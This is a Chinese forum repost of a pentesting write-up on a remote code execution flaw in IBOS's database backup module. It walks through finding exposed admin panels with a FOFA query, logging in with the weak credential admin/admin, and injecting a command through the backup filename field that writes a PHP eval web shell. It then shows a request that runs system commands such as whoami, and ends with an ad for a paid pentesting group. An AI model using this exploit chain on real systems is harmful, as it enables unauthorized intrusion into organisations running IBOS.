搜索

[755] 2021-04-14_IBOS数据库模块远程代码执行漏洞

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-16
2021-04-14_IBOS数据库模块远程代码执行漏洞 I B O S   数 据 库 模 块   远 程 代 码 执 行 漏 洞 原 创   黑 子 黑   b g b i n g 安 全   2 0 2 1 - 0 4 - 1 4 一 、 后 台 弱 口 令 f o f a 语 句 ： b o d y = " I B O S "   & &   b o d y = " l o g i n - p a n e l " 我 们 随 便 点 一 个 进 去 弱 口 令 ： a d m i n / a d m i n 但 是 经 过 多 次 测 试 发 现 存 在 弱 口 令 的 只 有 一 两 个 ， 这 就 导 致 后 面 的 步 骤 将 无 法 继 续 进 行 ， 所 以 多 找 找 就 好 二 、 任 意 文 件 上 传 这 里 我 们 已 经 到 后 台 了 ， 点 通 用 设 置 - > 数 据 库 - > 开 启 更 多 选 项 - > 选 择 系 统   M y S Q L   D u m p   ( S h e l l )   备 份 这 个 选 项
往 下 拉 ， 点 提 交 ， 抓 包 在 p o s t 数 据 里 替 换 下 面 内 容 ， 上 传 s h e l l 三 、 远 程 代 码 执 行 接 着 当 然 就 是 访 问 s h e l l 了 b a c k u p t y p e = a l l & c u s t o m _ e n a b l e d = 1 & m e t h o d = s h e l l & s i z e l i m i t = 2 0 4 8 & e x t e n d i n s = 0 & s q l c o m p a t = M Y S Q L 4 1 & s q l c h a r s e t = u t f 8 & u s e h e x = 0 & u s e z i p = 0 & f i l e n a m e = a 3 b 4 % 2 6 e c h o   " < ? p h p   e v a l ( $ _ G E T [ a 3 b 4 ] ) ; ? > " > a 3 b 4 % P A T H E X T : ~ 0 , 1 % p h p % 2 6 a 3 b 4 & d b S u b m i t = 1 h t t p : / / x x x . x x x . x x x . x x x / a 3 b 4 . p h p ? c m d = s y s t e m ( % 2 2 w h o a m i % 2 2 ) ;
访 问 个 p h p i n f o 因 为 是 w i n 的 ， 那 就 再 来 个 d i r 到 这 里 结 束 啦 推 荐 一 下 公 众 号
b g b i n g 星 球 ： 渗 透 测 试 , 内 网 渗 透 , S R C 漏 洞 分 享 , 安 全 开 发 , 安 全 武 器 库 更 多 渗 透 测 试 ， 可 以 到 星 球 学 习 啦 （ 送 f o f a 高 级 会 员 ） 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理